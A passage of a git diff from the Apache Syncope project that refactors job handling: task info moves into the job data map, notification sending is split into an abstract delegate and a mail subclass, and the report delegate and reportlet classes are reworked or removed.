bundle.getJobDetail().getJobDataMap().get(JobManager.TASK_TYPE); - String taskKey = bundle.getJobDetail().getJobDataMap().getString(JobManager.TASK_KEY); - if (taskType != null && taskKey != null) { - ((TaskJob) job).setTaskInfo(taskType, taskKey); - } - } - } - DefaultListableBeanFactory factory = ApplicationContextProvider.getBeanFactory(); try { if (factory.containsSingleton(bundle.getJobDetail().getKey().getName())) { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/TaskJob.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/TaskJob.java index 684cdab474c..f94418de583 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/TaskJob.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/TaskJob.java @@ -38,10 +38,6 @@ public class TaskJob extends AbstractInterruptableJob { private static final Logger LOG = LoggerFactory.getLogger(TaskJob.class); - public static final String DRY_RUN_JOBDETAIL_KEY = "dryRun"; - - public static final String DELEGATE_IMPLEMENTATION = "delegateImpl"; - /** * Task execution status. */ @@ -55,26 +51,8 @@ public enum Status { @Autowired private DomainHolder domainHolder; - private TaskType taskType; - - /** - * Key, set by the caller, for identifying the task to be executed. - */ - private String taskKey; - private SchedTaskJobDelegate delegate; - /** - * Task info setter. - * - * @param taskType task type - * @param taskKey task key - */ - public void setTaskInfo(final TaskType taskType, final String taskKey) { - this.taskType = taskType; - this.taskKey = taskKey; - } - @Override public JobDelegate getDelegate() { return delegate; @@ -82,6 +60,7 @@ public JobDelegate getDelegate() { @Override public void execute(final JobExecutionContext context) throws JobExecutionException { + String taskKey = context.getMergedJobDataMap().getString(JobManager.TASK_KEY); try { String domain = context.getMergedJobDataMap().getString(JobManager.DOMAIN_KEY); if (domainHolder.getDomains().containsKey(domain)) { @@ -89,17 +68,17 @@ public void execute(final JobExecutionContext context) throws JobExecutionExcept try { ImplementationDAO implementationDAO = ApplicationContextProvider.getApplicationContext().getBean(ImplementationDAO.class); - Implementation implementation = implementationDAO.find( - context.getMergedJobDataMap().getString(DELEGATE_IMPLEMENTATION)); - if (implementation == null) { + Implementation impl = implementationDAO.find( + context.getMergedJobDataMap().getString(JobManager.DELEGATE_IMPLEMENTATION)); + if (impl == null) { LOG.error("Could not find Implementation '{}', aborting", - context.getMergedJobDataMap().getString(DELEGATE_IMPLEMENTATION)); + context.getMergedJobDataMap().getString(JobManager.DELEGATE_IMPLEMENTATION)); } else { - delegate = ImplementationManager.build(implementation); + delegate = ImplementationManager.build(impl); delegate.execute( - taskType, + (TaskType) context.getMergedJobDataMap().get(JobManager.TASK_TYPE), taskKey, - context.getMergedJobDataMap().getBoolean(DRY_RUN_JOBDETAIL_KEY), + context.getMergedJobDataMap().getBoolean(JobManager.DRY_RUN_JOBDETAIL_KEY), context); } } catch (Exception e) { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/DefaultNotificationJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/AbstractNotificationJobDelegate.java similarity index 77% rename from core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/DefaultNotificationJobDelegate.java rename to core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/AbstractNotificationJobDelegate.java index 3d51b85347d..17f0ffd34e0 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/DefaultNotificationJobDelegate.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/AbstractNotificationJobDelegate.java @@ -20,7 +20,6 @@ import java.time.OffsetDateTime; import java.util.List; -import javax.mail.internet.MimeMessage; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.types.AuditElements; import org.apache.syncope.common.lib.types.TaskType; @@ -40,18 +39,14 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.context.ApplicationEventPublisher; -import org.springframework.mail.javamail.JavaMailSender; -import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.transaction.annotation.Transactional; -public class DefaultNotificationJobDelegate implements NotificationJobDelegate { +public abstract class AbstractNotificationJobDelegate implements NotificationJobDelegate { protected static final Logger LOG = LoggerFactory.getLogger(NotificationJobDelegate.class); protected final TaskDAO taskDAO; - protected final JavaMailSender mailSender; - protected final TaskUtilsFactory taskUtilsFactory; protected final AuditManager auditManager; @@ -64,16 +59,14 @@ public class DefaultNotificationJobDelegate implements NotificationJobDelegate { protected boolean interrupted; - public DefaultNotificationJobDelegate( + protected AbstractNotificationJobDelegate( final TaskDAO taskDAO, - final JavaMailSender mailSender, final TaskUtilsFactory taskUtilsFactory, final AuditManager auditManager, final NotificationManager notificationManager, final ApplicationEventPublisher publisher) { this.taskDAO = taskDAO; - this.mailSender = mailSender; this.taskUtilsFactory = taskUtilsFactory; this.auditManager = auditManager; this.notificationManager = notificationManager; @@ -94,6 +87,9 @@ public boolean isInterrupted() { return interrupted; } + protected abstract void notify(String to, NotificationTask task, TaskExec execution) + throws Exception; + @Transactional @Override public TaskExec executeSingle(final NotificationTask task, final String executor) { @@ -106,12 +102,13 @@ public TaskExec executeSingle(final NotificationTask task, fin if (StringUtils.isBlank(task.getSubject()) || task.getRecipients().isEmpty() || StringUtils.isBlank(task.getHtmlBody()) || StringUtils.isBlank(task.getTextBody())) { - String message = "Could not fetch all required information for sending e-mails:\n" - + task.getRecipients() + '\n' - + task.getSender() + '\n' - + task.getSubject() + '\n' - + task.getHtmlBody() + '\n' - + task.getTextBody(); + String message = "Could not fetch all required information for sending out notifications:" + + "\nFrom: " + task.getSender() + + "\nTo: " + task.getRecipients() + + "\nSubject: " + task.getSubject() + + "\nHTML body:\n" + task.getHtmlBody() + + "\nText body:\n" + task.getTextBody() + + "\n"; LOG.error(message); execution.setStatus(NotificationJob.Status.NOT_SENT.name()); @@ -121,51 +118,14 @@ public TaskExec executeSingle(final NotificationTask task, fin execution.setMessage(message); } } else { - if (LOG.isDebugEnabled()) { - LOG.debug("About to send e-mails:\n" - + task.getRecipients() + '\n' - + task.getSender() + '\n' - + task.getSubject() + '\n' - + task.getHtmlBody() + '\n' - + task.getTextBody() + '\n'); - } + LOG.debug("About to send notifications:\nFrom: {}\nTo: {}\nSubject: {}\nHTML body:\n{}\nText body:\n{}\n", + task.getSender(), task.getRecipients(), task.getSubject(), task.getHtmlBody(), task.getTextBody()); setStatus("Sending notifications to " + task.getRecipients()); for (String to : task.getRecipients()) { try { - MimeMessage message = mailSender.createMimeMessage(); - MimeMessageHelper helper = new MimeMessageHelper(message, true); - helper.setTo(to); - helper.setFrom(task.getSender()); - helper.setSubject(task.getSubject()); - helper.setText(task.getTextBody(), task.getHtmlBody()); - - mailSender.send(message); - - execution.setStatus(NotificationJob.Status.SENT.name()); - - StringBuilder report = new StringBuilder(); - switch (task.getTraceLevel()) { - case ALL: - report.append("FROM: ").append(task.getSender()).append('\n'). - append("TO: ").append(to).append('\n'). - append("SUBJECT: ").append(task.getSubject()).append('\n').append('\n'). - append(task.getTextBody()).append('\n').append('\n'). - append(task.getHtmlBody()).append('\n'); - break; - - case SUMMARY: - report.append("E-mail sent to ").append(to).append('\n'); - break; - - case FAILURES: - case NONE: - default: - } - if (report.length() > 0) { - execution.setMessage(report.toString()); - } + notify(to, task, execution); notificationManager.createTasks( AuthContextUtils.getWho(), @@ -179,7 +139,7 @@ public TaskExec executeSingle(final NotificationTask task, fin task, "Successfully sent notification to " + to); } catch (Exception e) { - LOG.error("Could not send e-mail", e); + LOG.error("Could not send out notification", e); execution.setStatus(NotificationJob.Status.NOT_SENT.name()); if (task.getTraceLevel().ordinal() >= TraceLevel.FAILURES.ordinal()) { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/MailNotificationJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/MailNotificationJobDelegate.java new file mode 100644 index 00000000000..f7aa50003b3 --- /dev/null +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/MailNotificationJobDelegate.java @@ -0,0 +1,87 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.java.job.notification; + +import javax.mail.internet.MimeMessage; +import org.apache.syncope.core.persistence.api.dao.TaskDAO; +import org.apache.syncope.core.persistence.api.entity.task.NotificationTask; +import org.apache.syncope.core.persistence.api.entity.task.TaskExec; +import org.apache.syncope.core.persistence.api.entity.task.TaskUtilsFactory; +import org.apache.syncope.core.provisioning.api.AuditManager; +import org.apache.syncope.core.provisioning.api.notification.NotificationManager; +import org.springframework.context.ApplicationEventPublisher; +import org.springframework.mail.javamail.JavaMailSender; +import org.springframework.mail.javamail.MimeMessageHelper; + +public class MailNotificationJobDelegate extends AbstractNotificationJobDelegate { + + protected final JavaMailSender mailSender; + + public MailNotificationJobDelegate( + final TaskDAO taskDAO, + final TaskUtilsFactory taskUtilsFactory, + final AuditManager auditManager, + final NotificationManager notificationManager, + final ApplicationEventPublisher publisher, + final JavaMailSender mailSender) { + + super(taskDAO, taskUtilsFactory, auditManager, notificationManager, publisher); + this.mailSender = mailSender; + } + + @Override + protected void notify( + final String to, + final NotificationTask task, + final TaskExec execution) throws Exception { + + MimeMessage message = mailSender.createMimeMessage(); + MimeMessageHelper helper = new MimeMessageHelper(message, true); + helper.setTo(to); + helper.setFrom(task.getSender()); + helper.setSubject(task.getSubject()); + helper.setText(task.getTextBody(), task.getHtmlBody()); + + mailSender.send(message); + + execution.setStatus(NotificationJob.Status.SENT.name()); + + StringBuilder report = new StringBuilder(); + switch (task.getTraceLevel()) { + case ALL: + report.append("FROM: ").append(task.getSender()).append('\n'). + append("TO: ").append(to).append('\n'). + append("SUBJECT: ").append(task.getSubject()).append('\n').append('\n'). + append(task.getTextBody()).append('\n').append('\n'). + append(task.getHtmlBody()).append('\n'); + break; + + case SUMMARY: + report.append("E-mail sent to ").append(to).append('\n'); + break; + + case FAILURES: + case NONE: + default: + } + if (report.length() > 0) { + execution.setMessage(report.toString()); + } + } +} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportJobDelegate.java new file mode 100644 index 00000000000..78b489283df --- /dev/null +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportJobDelegate.java @@ -0,0 +1,221 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.java.job.report; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.time.OffsetDateTime; +import java.util.Objects; +import java.util.Optional; +import java.util.zip.Deflater; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; +import org.apache.syncope.common.lib.report.ReportConf; +import org.apache.syncope.common.lib.types.AuditElements; +import org.apache.syncope.core.persistence.api.dao.ReportDAO; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.Report; +import org.apache.syncope.core.persistence.api.entity.ReportExec; +import org.apache.syncope.core.provisioning.api.AuditManager; +import org.apache.syncope.core.provisioning.api.data.ReportDataBinder; +import org.apache.syncope.core.provisioning.api.event.JobStatusEvent; +import org.apache.syncope.core.provisioning.api.job.JobManager; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.notification.NotificationManager; +import org.apache.syncope.core.provisioning.api.utils.ExceptionUtils2; +import org.apache.syncope.core.spring.security.SecurityProperties; +import org.quartz.JobExecutionContext; +import org.quartz.JobExecutionException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.ApplicationEventPublisher; +import org.springframework.transaction.annotation.Transactional; + +public abstract class AbstractReportJobDelegate implements ReportJobDelegate { + + protected static final Logger LOG = LoggerFactory.getLogger(ReportJobDelegate.class); + + @Autowired + protected SecurityProperties securityProperties; + + /** + * The actual report to be executed. + */ + protected Report report; + + protected ReportConf conf; + + /** + * Report DAO. + */ + @Autowired + protected ReportDAO reportDAO; + + @Autowired + protected EntityFactory entityFactory; + + @Autowired + protected ReportDataBinder reportDataBinder; + + /** + * Notification manager. + */ + @Autowired + protected NotificationManager notificationManager; + + /** + * Audit manager. + */ + @Autowired + protected AuditManager auditManager; + + @Autowired + protected ApplicationEventPublisher publisher; + + protected boolean interrupt; + + protected boolean interrupted; + + @Override + public void setConf(final ReportConf conf) { + this.conf = conf; + } + + protected void setStatus(final String status) { + Objects.requireNonNull(report, "Report cannot be undefined"); + publisher.publishEvent(new JobStatusEvent(this, reportDataBinder.buildRefDesc(report), status)); + } + + @Override + public void interrupt() { + interrupt = true; + } + + @Override + public boolean isInterrupted() { + return interrupted; + } + + @Transactional + @Override + public void execute( + final String reportKey, + final boolean dryRun, + final JobExecutionContext context) throws JobExecutionException { + + report = reportDAO.find(reportKey); + if (report == null) { + throw new JobExecutionException("Report " + reportKey + " not found"); + } + + if (!report.isActive()) { + LOG.info("Report {} not active, aborting...", reportKey); + return; + } + + String executor = Optional.ofNullable(context.getMergedJobDataMap().getString(JobManager.EXECUTOR_KEY)). + orElse(securityProperties.getAdminUser()); + ReportExec execution = entityFactory.newEntity(ReportExec.class); + execution.setStart(OffsetDateTime.now()); + execution.setReport(report); + execution.setExecutor(executor); + + setStatus("Initialization completed"); + + AuditElements.Result result; + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ZipOutputStream zos = new ZipOutputStream(baos); + zos.setLevel(Deflater.BEST_COMPRESSION); + try { + // a single ZipEntry in the ZipOutputStream + zos.putNextEntry(new ZipEntry(report.getName())); + } catch (IOException e) { + throw new JobExecutionException("While configuring for output", e, true); + } + + setStatus("Starting"); + try { + execution.setMessage(doExecute(dryRun, zos, executor, context)); + execution.setStatus(ReportJob.Status.SUCCESS.name()); + + result = AuditElements.Result.SUCCESS; + } catch (JobExecutionException e) { + LOG.error("While executing report {}", reportKey, e); + result = AuditElements.Result.FAILURE; + + execution.setMessage(ExceptionUtils2.getFullStackTrace(e)); + execution.setStatus(ReportJob.Status.FAILURE.name()); + } finally { + setStatus(null); + + try { + zos.closeEntry(); + zos.close(); + } catch (IOException e) { + LOG.error("While closing output", e); + } + } + if (result == AuditElements.Result.SUCCESS) { + execution.setExecResult(baos.toByteArray()); + } + execution.setEnd(OffsetDateTime.now()); + + report.add(execution); + report = reportDAO.save(report); + + setStatus(null); + + notificationManager.createTasks( + executor, + AuditElements.EventCategoryType.REPORT, + this.getClass().getSimpleName(), + null, + this.getClass().getSimpleName(), // searching for before object is too much expensive ... + result, + report, + execution); + + auditManager.audit( + executor, + AuditElements.EventCategoryType.REPORT, + report.getClass().getSimpleName(), + null, + null, // searching for before object is too much expensive ... + result, + report, + null); + } + + /** + * The actual execution, delegated to child classes. + * + * @param dryRun whether to actually touch the data + * @param os where to stream report execution's data + * @param executor the user executing this report + * @param context Quartz' execution context, can be used to pass parameters to the job + * @return the report execution status to be set + * @throws JobExecutionException if anything goes wrong + */ + protected abstract String doExecute( + boolean dryRun, OutputStream os, String executor, JobExecutionContext context) + throws JobExecutionException; +} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportlet.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportlet.java deleted file mode 100644 index f95ea521020..00000000000 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportlet.java +++ /dev/null @@ -1,66 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.provisioning.java.job.report; - -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.core.persistence.api.dao.Reportlet; -import org.apache.syncope.core.provisioning.api.event.JobStatusEvent; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.context.ApplicationEventPublisher; -import org.springframework.transaction.annotation.Transactional; -import org.xml.sax.ContentHandler; -import org.xml.sax.SAXException; -import org.xml.sax.helpers.AttributesImpl; - -public abstract class AbstractReportlet implements Reportlet { - - protected static final Logger LOG = LoggerFactory.getLogger(AbstractReportlet.class); - - @Autowired - protected ApplicationEventPublisher publisher; - - protected ReportletConf conf; - - @Override - public void setConf(final ReportletConf conf) { - this.conf = conf; - } - - protected void setStatus(final String refDesc, final String status) { - publisher.publishEvent(new JobStatusEvent(this, refDesc, status)); - } - - protected abstract void doExtract(ReportletConf conf, ContentHandler handler, String refDesc) - throws SAXException; - - @Override - @Transactional(readOnly = true) - public void extract(final ContentHandler handler, final String refDesc) throws SAXException { - AttributesImpl atts = new AttributesImpl(); - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, conf.getName()); - atts.addAttribute("", "", ReportXMLConst.ATTR_CLASS, ReportXMLConst.XSD_STRING, getClass().getName()); - handler.startElement("", "", ReportXMLConst.ELEMENT_REPORTLET, atts); - - doExtract(conf, handler, refDesc); - - handler.endElement("", "", ReportXMLConst.ELEMENT_REPORTLET); - } -} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AuditReportlet.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AuditReportlet.java deleted file mode 100644 index b605bdd9946..00000000000 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AuditReportlet.java +++ /dev/null @@ -1,149 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.provisioning.java.job.report; - -import java.util.List; -import java.util.Map; -import javax.sql.DataSource; -import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.common.lib.audit.AuditEntry; -import org.apache.syncope.common.lib.report.AuditReportletConf; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.core.persistence.api.DomainHolder; -import org.apache.syncope.core.persistence.api.dao.AuditConfDAO; -import org.apache.syncope.core.persistence.api.dao.ReportletConfClass; -import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; -import org.apache.syncope.core.spring.security.AuthContextUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.xml.sax.ContentHandler; -import org.xml.sax.SAXException; -import org.xml.sax.helpers.AttributesImpl; - -@ReportletConfClass(AuditReportletConf.class) -public class AuditReportlet extends AbstractReportlet { - - @Autowired - private DomainHolder domainHolder; - - private AuditReportletConf conf; - - private DataSource datasource; - - private void doExtractConf(final ContentHandler handler, final String refDesc) throws SAXException { - setStatus( - refDesc, - "Fetching " + conf.getSize() + " rows from the " + AuditConfDAO.AUDIT_ENTRY_TABLE + " table"); - - JdbcTemplate jdbcTemplate = new JdbcTemplate(datasource); - jdbcTemplate.setMaxRows(conf.getSize()); - List> rows = jdbcTemplate. - queryForList("SELECT * FROM " + AuditConfDAO.AUDIT_ENTRY_TABLE + " ORDER BY EVENT_DATE DESC"); - - handler.startElement("", "", "events", null); - AttributesImpl atts = new AttributesImpl(); - for (Map row : rows) { - AuditEntry auditEntry = POJOHelper.deserialize(row.get("MESSAGE").toString(), AuditEntry.class); - - atts.clear(); - if (StringUtils.isNotBlank(auditEntry.getWho())) { - atts.addAttribute("", "", "who", ReportXMLConst.XSD_STRING, auditEntry.getWho()); - } - handler.startElement("", "", "event", atts); - - atts.clear(); - if (StringUtils.isNotBlank(auditEntry.getLogger().getCategory())) { - atts.addAttribute("", "", "category", - ReportXMLConst.XSD_STRING, auditEntry.getLogger().getCategory()); - } - if (StringUtils.isNotBlank(auditEntry.getLogger().getSubcategory())) { - atts.addAttribute("", "", "subcategory", - ReportXMLConst.XSD_STRING, auditEntry.getLogger().getSubcategory()); - } - if (StringUtils.isNotBlank(auditEntry.getLogger().getEvent())) { - atts.addAttribute("", "", "event", - ReportXMLConst.XSD_STRING, auditEntry.getLogger().getEvent()); - } - if (auditEntry.getLogger().getResult() != null) { - atts.addAttribute("", "", "result", - ReportXMLConst.XSD_STRING, auditEntry.getLogger().getResult().name()); - } - handler.startElement("", "", "logger", atts); - handler.endElement("", "", "logger"); - - if (auditEntry.getBefore() != null) { - char[] before = POJOHelper.serialize(auditEntry.getBefore()).toCharArray(); - handler.startElement("", "", "before", null); - handler.characters(before, 0, before.length); - handler.endElement("", "", "before"); - } - - if (!auditEntry.getInputs().isEmpty()) { - handler.startElement("", "", "inputs", null); - for (String input : auditEntry.getInputs()) { - handler.startElement("", "", "input", null); - handler.characters(input.toCharArray(), 0, input.length()); - handler.endElement("", "", "input"); - } - handler.endElement("", "", "inputs"); - } - - if (auditEntry.getOutput() != null) { - char[] output = POJOHelper.serialize(auditEntry.getOutput()).toCharArray(); - handler.startElement("", "", "output", null); - handler.characters(output, 0, output.length); - handler.endElement("", "", "output"); - } - - handler.startElement("", "", "throwable", null); - Object throwableValue = row.get("THROWABLE"); - if (throwableValue != null) { - char[] throwable = throwableValue.toString().toCharArray(); - handler.characters(throwable, 0, throwable.length); - } - handler.endElement("", "", "throwable"); - - handler.endElement("", "", "event"); - } - handler.endElement("", "", "events"); - - setStatus(refDesc, "Fetched " + conf.getSize() + " rows from the " + AuditConfDAO.AUDIT_ENTRY_TABLE + " table"); - } - - @Override - protected void doExtract( - final ReportletConf conf, - final ContentHandler handler, - final String refDesc) - throws SAXException { - - if (conf instanceof AuditReportletConf) { - this.conf = AuditReportletConf.class.cast(conf); - } else { - throw new ReportException(new IllegalArgumentException("Invalid configuration provided")); - } - - datasource = domainHolder.getDomains().get(AuthContextUtils.getDomain()); - if (datasource == null) { - throw new ReportException(new IllegalArgumentException("Could not get to DataSource")); - } - - doExtractConf(handler, refDesc); - } -} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/DefaultReportJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/DefaultReportJobDelegate.java deleted file mode 100644 index 1004593e9e5..00000000000 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/DefaultReportJobDelegate.java +++ /dev/null @@ -1,245 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.provisioning.java.job.report; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.nio.charset.StandardCharsets; -import java.time.OffsetDateTime; -import java.util.Optional; -import java.util.zip.Deflater; -import java.util.zip.ZipEntry; -import java.util.zip.ZipOutputStream; -import javax.xml.XMLConstants; -import javax.xml.transform.OutputKeys; -import javax.xml.transform.Transformer; -import javax.xml.transform.TransformerConfigurationException; -import javax.xml.transform.TransformerFactory; -import javax.xml.transform.sax.SAXTransformerFactory; -import javax.xml.transform.sax.TransformerHandler; -import javax.xml.transform.stream.StreamResult; -import org.apache.syncope.common.lib.types.ReportExecStatus; -import org.apache.syncope.core.persistence.api.dao.ReportDAO; -import org.apache.syncope.core.persistence.api.dao.ReportExecDAO; -import org.apache.syncope.core.persistence.api.dao.Reportlet; -import org.apache.syncope.core.persistence.api.entity.EntityFactory; -import org.apache.syncope.core.persistence.api.entity.Report; -import org.apache.syncope.core.persistence.api.entity.ReportExec; -import org.apache.syncope.core.provisioning.api.data.ReportDataBinder; -import org.apache.syncope.core.provisioning.api.event.JobStatusEvent; -import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; -import org.apache.syncope.core.provisioning.api.utils.ExceptionUtils2; -import org.apache.syncope.core.spring.implementation.ImplementationManager; -import org.quartz.JobExecutionException; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.context.ApplicationEventPublisher; -import org.springframework.transaction.annotation.Transactional; -import org.xml.sax.helpers.AttributesImpl; - -public class DefaultReportJobDelegate implements ReportJobDelegate { - - protected static final Logger LOG = LoggerFactory.getLogger(ReportJobDelegate.class); - - protected static final SAXTransformerFactory TRANSFORMER_FACTORY; - - static { - TRANSFORMER_FACTORY = (SAXTransformerFactory) TransformerFactory.newInstance(); - TRANSFORMER_FACTORY.setURIResolver((href, base) -> null); - try { - TRANSFORMER_FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); - } catch (TransformerConfigurationException e) { - LOG.error("Could not enable secure XML processing", e); - } - } - - protected final ReportDAO reportDAO; - - protected final ReportExecDAO reportExecDAO; - - protected final EntityFactory entityFactory; - - protected final ReportDataBinder reportDataBinder; - - protected final ApplicationEventPublisher publisher; - - protected Report report; - - protected boolean interrupt; - - protected boolean interrupted; - - public DefaultReportJobDelegate( - final ReportDAO reportDAO, - final ReportExecDAO reportExecDAO, - final EntityFactory entityFactory, - final ReportDataBinder reportDataBinder, - final ApplicationEventPublisher publisher) { - - this.reportDAO = reportDAO; - this.reportExecDAO = reportExecDAO; - this.entityFactory = entityFactory; - this.reportDataBinder = reportDataBinder; - this.publisher = publisher; - } - - /** - * Sets status. - * Updating job status is done via an event publishing mechanism - * to allow underlying updates to be done in separate threads, - * and not as part of the current transaction. - * - * @param status the status - */ - protected void setStatus(final String status) { - LOG.debug("Status update: {} {}", reportDataBinder.buildRefDesc(report), status); - publisher.publishEvent(new JobStatusEvent(this, reportDataBinder.buildRefDesc(report), status)); - } - - @Override - public void interrupt() { - interrupt = true; - } - - @Override - public boolean isInterrupted() { - return interrupted; - } - - @Transactional - @Override - public void execute(final String reportKey, final String executor) throws JobExecutionException { - report = reportDAO.find(reportKey); - if (report == null) { - throw new JobExecutionException("Report " + reportKey + " not found"); - } - - if (!report.isActive()) { - LOG.info("Report {} not active, aborting...", reportKey); - return; - } - - // 1. create execution - ReportExec execution = entityFactory.newEntity(ReportExec.class); - execution.setStatus(ReportExecStatus.STARTED); - execution.setStart(OffsetDateTime.now()); - execution.setReport(report); - - execution.setExecutor(executor); - execution = reportExecDAO.save(execution); - - report.add(execution); - report = reportDAO.save(report); - - // 2. define a SAX handler for generating result as XML - TransformerHandler handler; - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ZipOutputStream zos = new ZipOutputStream(baos); - zos.setLevel(Deflater.BEST_COMPRESSION); - try { - handler = TRANSFORMER_FACTORY.newTransformerHandler(); - Transformer serializer = handler.getTransformer(); - serializer.setOutputProperty(OutputKeys.ENCODING, StandardCharsets.UTF_8.name()); - serializer.setOutputProperty(OutputKeys.INDENT, "yes"); - - // a single ZipEntry in the ZipOutputStream - zos.putNextEntry(new ZipEntry(report.getName())); - - // streaming SAX handler in a compressed byte array stream - handler.setResult(new StreamResult(zos)); - } catch (Exception e) { - throw new JobExecutionException("While configuring for SAX generation", e, true); - } - - execution.setStatus(ReportExecStatus.RUNNING); - execution = reportExecDAO.save(execution); - - setStatus("Starting"); - - // 3. actual report execution - StringBuilder reportExecutionMessage = new StringBuilder(); - try { - // report header - handler.startDocument(); - AttributesImpl atts = new AttributesImpl(); - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, report.getName()); - handler.startElement("", "", ReportXMLConst.ELEMENT_REPORT, atts); - - setStatus("Generating report header"); - - // iterate over reportlet instances defined for this report - for (int i = 